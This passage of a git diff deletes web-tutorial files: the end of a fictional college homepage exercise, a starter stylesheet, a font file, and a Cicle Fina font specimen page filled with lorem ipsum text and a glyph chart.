-                intelligence they need to win big in the coming utopia. We not only excel at subjects such as genetics, data mining, and chemistry, but we also
-                include compulsory lessons in:
-            </p>
-
-            <ul>
-                <li>Emotional control</li>
-                <li>Judgement</li>
-                <li>Assertion</li>
-                <li>Focus and resolve</li>
-            </ul>
-
-            <p>If you are interested, then you next steps will likely be to:</p>
-
-            <ol>
-                <li><a href="#">Call us</a> for more information</li>
-                <li><a href="#">Ask for a brochure</a>, which includes signup form</li>
-                <li><a href="#">Book a visit</a>!</li>
-            </ol>
-        </section>
-
-        <aside>
-            <h2>Top course choices</h2>
-
-            <ul>
-                <li><a href="#">Genetic engineering</a></li>
-                <li><a href="#">Genetic mutation</a></li>
-                <li><a href="#">Organic Chemistry</a></li>
-                <li><a href="#">Pharmaceuticals</a></li>
-                <li><a href="#">Biochemistry with behaviour</a></li>
-                <li><a href="#">Pure biochemistry</a></li>
-                <li><a href="#">Data mining</a></li>
-                <li><a href="#">Computer security</a></li>
-                <li><a href="#">Bioinformatics</a></li>
-                <li><a href="#">Cybernetics</a></li>
-            </ul>
-
-            <p><a href="#">See more</a></p>
-        </aside>
-
-        <nav>
-            <ul>
-                <li><a href="#">Home</a></li>
-                <li><a href="#">Finding us</a></li>
-                <li><a href="#">Courses</a></li>
-                <li><a href="#">Staff</a></li>
-                <li><a href="#">Media</a></li>
-                <li><a href="#">Prospectus</a></li>
-            </ul>
-        </nav>
-
-        <footer>
-            <p>&copy; 2016 St Huxley's Community College</p>
-        </footer>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-start/style.css b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-start/style.css
deleted file mode 100644
index 42fcb46872..0000000000
--- a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-start/style.css
+++ /dev/null
@@ -1,50 +0,0 @@
-/* General setup */
-
-* {
-    box-sizing: border-box;
-}
-
-body {
-    margin: 0 auto;
-    min-width: 1000px;
-    max-width: 1400px;
-}
-
-/* Layout */
-
-section {
-    float: left;
-    width: 50%;
-}
-
-aside {
-    float: left;
-    width: 30%;
-}
-
-nav {
-    float: left;
-    width: 20%;
-}
-
-footer {
-    clear: both;
-}
-
-header,
-section,
-aside,
-nav,
-footer {
-    padding: 20px;
-}
-
-/* header and footer */
-
-header,
-footer {
-    border-top: 5px solid #a66;
-    border-bottom: 5px solid #a66;
-}
-
-/* WRITE YOUR CODE BELOW HERE */
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/Cicle/Cicle_Fina.ttf b/docs/content/learning-area/css/styling-text/web-fonts/Cicle/Cicle_Fina.ttf
deleted file mode 100644
index 206e32fa3f..0000000000
Binary files a/docs/content/learning-area/css/styling-text/web-fonts/Cicle/Cicle_Fina.ttf and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/fonts/cicle_fina-demo.html b/docs/content/learning-area/css/styling-text/web-fonts/fonts/cicle_fina-demo.html
deleted file mode 100644
index 87e6313630..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/fonts/cicle_fina-demo.html
+++ /dev/null
@@ -1,1413 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-    <head>
-        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-        <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript" charset="utf-8"></script>
-        <script src="specimen_files/easytabs.js" type="text/javascript" charset="utf-8"></script>
-        <link rel="stylesheet" href="specimen_files/specimen_stylesheet.css" type="text/css" charset="utf-8" />
-        <link rel="stylesheet" href="stylesheet.css" type="text/css" charset="utf-8" />
-
-        <style type="text/css">
-            body {
-                font-family: 'ciclefina';
-            }
-        </style>
-
-        <title>Cicle Fina Specimen</title>
-
-        <script type="text/javascript" charset="utf-8">
-            $(document).ready(function () {
-                $('#container').easyTabs({
-                    defaultContent: 1
-                });
-            });
-        </script>
-    </head>
-
-    <body>
-        <div id="container">
-            <div id="header">Cicle Fina</div>
-            <ul class="tabs">
-                <li><a href="#specimen">Specimen</a></li>
-                <li><a href="#layout">Sample Layout</a></li>
-                <li><a href="#glyphs">Glyphs &amp; Languages</a></li>
-                <li><a href="#installing">Installing Webfonts</a></li>
-            </ul>
-
-            <div id="main_content">
-                <div id="specimen">
-                    <div class="section">
-                        <div class="grid12 firstcol">
-                            <div class="huge">AaBb</div>
-                        </div>
-                    </div>
-
-                    <div class="section">
-                        <div class="glyph_range">
-                            A&#x200B;B&#x200b;C&#x200b;D&#x200b;E&#x200b;F&#x200b;G&#x200b;H&#x200b;I&#x200b;J&#x200b;K&#x200b;L&#x200b;M&#x200b;N&#x200b;O&#x200b;P&#x200b;Q&#x200b;R&#x200b;S&#x200b;T&#x200b;U&#x200b;V&#x200b;W&#x200b;X&#x200b;Y&#x200b;Z&#x200b;a&#x200b;b&#x200b;c&#x200b;d&#x200b;e&#x200b;f&#x200b;g&#x200b;h&#x200b;i&#x200b;j&#x200b;k&#x200b;l&#x200b;m&#x200b;n&#x200b;o&#x200b;p&#x200b;q&#x200b;r&#x200b;s&#x200b;t&#x200b;u&#x200b;v&#x200b;w&#x200b;x&#x200b;y&#x200b;z&#x200b;1&#x200b;2&#x200b;3&#x200b;4&#x200b;5&#x200b;6&#x200b;7&#x200b;8&#x200b;9&#x200b;0&#x200b;&amp;&#x200b;.&#x200b;,&#x200b;?&#x200b;!&#x200b;&#64;&#x200b;(&#x200b;)&#x200b;#&#x200b;$&#x200b;%&#x200b;*&#x200b;+&#x200b;-&#x200b;=&#x200b;:&#x200b;;
-                        </div>
-                    </div>
-                    <div class="section">
-                        <div class="grid12 firstcol">
-                            <table class="sample_table">
-                                <tr>
-                                    <td>10</td>
-                                    <td class="size10">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>11</td>
-                                    <td class="size11">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>12</td>
-                                    <td class="size12">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>13</td>
-                                    <td class="size13">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>14</td>
-                                    <td class="size14">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>16</td>
-                                    <td class="size16">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>18</td>
-                                    <td class="size18">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>20</td>
-                                    <td class="size20">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>24</td>
-                                    <td class="size24">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>30</td>
-                                    <td class="size30">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>36</td>
-                                    <td class="size36">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>48</td>
-                                    <td class="size48">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>60</td>
-                                    <td class="size60">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>72</td>
-                                    <td class="size72">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>90</td>
-                                    <td class="size90">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                            </table>
-                        </div>
-                    </div>
-
-                    <div class="section" id="bodycomparison">
-                        <div id="xheight">
-                            <div class="fontbody">
-                                &#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;body
-                            </div>
-                            <div class="arialbody">body</div>
-                            <div class="verdanabody">body</div>
-                            <div class="georgiabody">body</div>
-                        </div>
-                        <div class="fontbody" style="z-index: 1">body<span>Cicle Fina</span></div>
-                        <div class="arialbody" style="z-index: 1">body<span>Arial</span></div>
-                        <div class="verdanabody" style="z-index: 1">body<span>Verdana</span></div>
-                        <div class="georgiabody" style="z-index: 1">body<span>Georgia</span></div>
-                    </div>
-
-                    <div class="section psample psample_row1" id="">
-                        <div class="grid2 firstcol">
-                            <p class="size10">
-                                <span>10.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid3">
-                            <p class="size11">
-                                <span>11.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid3">
-                            <p class="size12">
-                                <span>12.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid4">
-                            <p class="size13">
-                                <span>13.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="white_blend"></div>
-                    </div>
-                    <div class="section psample psample_row2" id="">
-                        <div class="grid3 firstcol">
-                            <p class="size14">
-                                <span>14.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid4">
-                            <p class="size16">
-                                <span>16.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid5">
-                            <p class="size18">
-                                <span>18.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-
-                        <div class="white_blend"></div>
-                    </div>
-
-                    <div class="section psample psample_row3" id="">
-                        <div class="grid5 firstcol">
-                            <p class="size20">
-                                <span>20.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid7">
-                            <p class="size24">
-                                <span>24.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-
-                        <div class="white_blend"></div>
-                    </div>
-
-                    <div class="section psample psample_row4" id="">
-                        <div class="grid12 firstcol">
-                            <p class="size30">
-                                <span>30.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="white_blend"></div>
-                    </div>
-
-                    <div class="section psample psample_row1 fullreverse">
-                        <div class="grid2 firstcol">
-                            <p class="size10">
-                                <span>10.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid3">
-                            <p class="size11">
-                                <span>11.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid3">
-                            <p class="size12">
-                                <span>12.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid4">
-                            <p class="size13">
-                                <span>13.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="black_blend"></div>
-                    </div>
-
-                    <div class="section psample psample_row2 fullreverse">
-                        <div class="grid3 firstcol">
-                            <p class="size14">
-                                <span>14.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid4">
-                            <p class="size16">
-                                <span>16.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid5">
-                            <p class="size18">
-                                <span>18.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="black_blend"></div>
-                    </div>
-
-                    <div class="section psample fullreverse psample_row3" id="">
-                        <div class="grid5 firstcol">
-                            <p class="size20">
-                                <span>20.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid7">
-                            <p class="size24">
-                                <span>24.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-
-                        <div class="black_blend"></div>
-                    </div>
-
-                    <div class="section psample fullreverse psample_row4" id="" style="border-bottom: 20px #000 solid">
-                        <div class="grid12 firstcol">
-                            <p class="size30">
-                                <span>30.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="black_blend"></div>
-                    </div>
-                </div>
-
-                <div id="layout">
-                    <div class="section">
-                        <div class="grid12 firstcol">
-                            <h1>Lorem Ipsum Dolor</h1>
-                            <h2>Etiam porta sem malesuada magna mollis euismod</h2>
-
-                            <p class="byline">By <a href="#link">Aenean Lacinia</a></p>
-                        </div>
-                    </div>
-                    <div class="section">
-                        <div class="grid8 firstcol">
-                            <p class="large">
-                                Donec sed odio dui. Morbi leo risus, porta ac consectetur ac, vestibulum at eros. Fusce dapibus, tellus ac cursus commodo,
-                                tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus.
-                            </p>
-
-                            <h3>Pellentesque ornare sem</h3>
-
-                            <p>
-                                Maecenas sed diam eget risus varius blandit sit amet non magna. Maecenas faucibus mollis interdum. Donec ullamcorper nulla non
-                                metus auctor fringilla. Nullam id dolor id nibh ultricies vehicula ut id elit. Nullam id dolor id nibh ultricies vehicula ut id
-                                elit.
-                            </p>
-
-                            <p>
-                                Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Lorem ipsum dolor sit amet, consectetur
-                                adipiscing elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.
-                            </p>
-
-                            <p>
-                                Nulla vitae elit libero, a pharetra augue. Praesent commodo cursus magna, vel scelerisque nisl consectetur et. Aenean lacinia
-                                bibendum nulla sed consectetur.
-                            </p>
-
-                            <p>
-                                Nullam quis risus eget urna mollis ornare vel eu leo. Nullam quis risus eget urna mollis ornare vel eu leo. Maecenas sed diam
-                                eget risus varius blandit sit amet non magna. Donec ullamcorper nulla non metus auctor fringilla.
-                            </p>
-
-                            <h3>Cras mattis consectetur</h3>
-
-                            <p>
-                                Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Aenean lacinia bibendum nulla sed consectetur.
-                                Integer posuere erat a ante venenatis dapibus posuere velit aliquet. Cras mattis consectetur purus sit amet fermentum.
-                            </p>
-
-                            <p>
-                                Nullam id dolor id nibh ultricies vehicula ut id elit. Nullam quis risus eget urna mollis ornare vel eu leo. Cras mattis
-                                consectetur purus sit amet fermentum.
-                            </p>
-                        </div>
-
-                        <div class="grid4 sidebar">
-                            <div class="box reverse">
-                                <p class="last">
-                                    Nullam quis risus eget urna mollis ornare vel eu leo. Donec ullamcorper nulla non metus auctor fringilla. Cras mattis
-                                    consectetur purus sit amet fermentum. Sed posuere consectetur est at lobortis. Lorem ipsum dolor sit amet, consectetur
-                                    adipiscing elit.
-                                </p>
-                            </div>
-
-                            <p class="caption">Maecenas sed diam eget risus varius.</p>
-
-                            <p>
-                                Vestibulum id ligula porta felis euismod semper. Integer posuere erat a ante venenatis dapibus posuere velit aliquet. Vestibulum
-                                id ligula porta felis euismod semper. Sed posuere consectetur est at lobortis. Maecenas sed diam eget risus varius blandit sit
-                                amet non magna. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet
-                                risus.
-                            </p>
-
-                            <p>
-                                Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio sem nec elit. Aenean lacinia bibendum nulla
-                                sed consectetur. Vivamus sagittis lacus vel augue laoreet rutrum faucibus dolor auctor. Aenean lacinia bibendum nulla sed
-                                consectetur. Nullam quis risus eget urna mollis ornare vel eu leo.
-                            </p>
-
-                            <p>
-                                Praesent commodo cursus magna, vel scelerisque nisl consectetur et. Donec ullamcorper nulla non metus auctor fringilla. Maecenas
-                                faucibus mollis interdum. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit
-                                amet risus.
-                            </p>
-                        </div>
-                    </div>
-                </div>
-
-                <div id="glyphs">
-                    <div class="section">
-                        <div class="grid12 firstcol">
-                            <h1>Language Support</h1>
-                            <p>
-                                The subset of Cicle Fina in this kit supports the following languages:<br />
-
-                                Albanian, Basque, Chamorro, English, Faroese, Galician, German, Icelandic, Italian, Spanish
-                            </p>
-                            <h1>Glyph Chart</h1>
-                            <p>
-                                The subset of Cicle Fina in this kit includes all the glyphs listed below. Unicode entities are included above each glyph to
-                                help you insert individual characters into your layout.
-                            </p>
-                            <div id="glyph_chart">
-                                <div>
-                                    <p>&amp;#32;</p>
-                                    &#32;
-                                </div>
-                                <div>
-                                    <p>&amp;#33;</p>
-                                    &#33;
-                                </div>
-                                <div>
-                                    <p>&amp;#34;</p>
-                                    &#34;
-                                </div>
-                                <div>
-                                    <p>&amp;#35;</p>
-                                    &#35;
-                                </div>
-                                <div>
-                                    <p>&amp;#36;</p>
-                                    &#36;
-                                </div>
-                                <div>
-                                    <p>&amp;#38;</p>
-                                    &#38;
-                                </div>
-                                <div>
-                                    <p>&amp;#39;</p>
-                                    &#39;
-                                </div>
-                                <div>
-                                    <p>&amp;#40;</p>
-                                    &#40;
-                                </div>
-                                <div>
-                                    <p>&amp;#41;</p>
-                                    &#41;
-                                </div>
-                                <div>
-                                    <p>&amp;#42;</p>
-                                    &#42;
-                                </div>
-                                <div>
-                                    <p>&amp;#43;</p>
-                                    &#43;
-                                </div>
-                                <div>
-                                    <p>&amp;#44;</p>
-                                    &#44;
-                                </div>
-                                <div>
-                                    <p>&amp;#45;</p>
-                                    &#45;
-                                </div>
-                                <div>
-                                    <p>&amp;#46;</p>
-                                    &#46;
-                                </div>
-                                <div>
-                                    <p>&amp;#47;</p>
-                                    &#47;
-                                </div>
-                                <div>
-                                    <p>&amp;#48;</p>
-                                    &#48;
-                                </div>
-                                <div>
-                                    <p>&amp;#49;</p>
-                                    &#49;
-                                </div>
-                                <div>
-                                    <p>&amp;#50;</p>
-                                    &#50;
-                                </div>
-                                <div>
-                                    <p>&amp;#51;</p>
-                                    &#51;
-                                </div>
-                                <div>
-                                    <p>&amp;#52;</p>
-                                    &#52;
-                                </div>
-                                <div>
-                                    <p>&amp;#53;</p>
-                                    &#53;
-                                </div>
-                                <div>
-                                    <p>&amp;#54;</p>
-                                    &#54;
-                                </div>
-                                <div>
-                                    <p>&amp;#55;</p>
-                                    &#55;
-                                </div>
-                                <div>
-                                    <p>&amp;#56;</p>
-                                    &#56;
-                                </div>
-                                <div>
-                                    <p>&amp;#57;</p>
-                                    &#57;
-                                </div>
-                                <div>
-                                    <p>&amp;#58;</p>
-                                    &#58;
-                                </div>
-                                <div>
-                                    <p>&amp;#59;</p>
-                                    &#59;
-                                </div>
-                                <div>
-                                    <p>&amp;#60;</p>
-                                    &#60;
-                                </div>
-                                <div>
-                                    <p>&amp;#61;</p>
-                                    &#61;
-                                </div>
-                                <div>
-                                    <p>&amp;#62;</p>
-                                    &#62;
-                                </div>
-                                <div>
-                                    <p>&amp;#63;</p>
-                                    &#63;
-                                </div>
-                                <div>
-                                    <p>&amp;#64;</p>
-                                    &#64;
-                                </div>
-                                <div>
-                                    <p>&amp;#65;</p>
-                                    &#65;
-                                </div>
-                                <div>
-                                    <p>&amp;#66;</p>
-                                    &#66;
-                                </div>
-                                <div>
-                                    <p>&amp;#67;</p>
-                                    &#67;
-                                </div>
-                                <div>
-                                    <p>&amp;#68;</p>
-                                    &#68;
-                                </div>
-                                <div>
-                                    <p>&amp;#69;</p>
-                                    &#69;
-                                </div>
-                                <div>
-                                    <p>&amp;#70;</p>
-                                    &#70;
-                                </div>
-                                <div>
-                                    <p>&amp;#71;</p>
-                                    &#71;
-                                </div>
-                                <div>
-                                    <p>&amp;#72;</p>
-                                    &#72;
-                                </div>
-                                <div>
-                                    <p>&amp;#73;</p>
-                                    &#73;
-                                </div>
-                                <div>
-                                    <p>&amp;#74;</p>
-                                    &#74;
-                                </div>
-                                <div>
-                                    <p>&amp;#75;</p>
-                                    &#75;
-                                </div>
-                                <div>
-                                    <p>&amp;#76;</p>
-                                    &#76;
-                                </div>
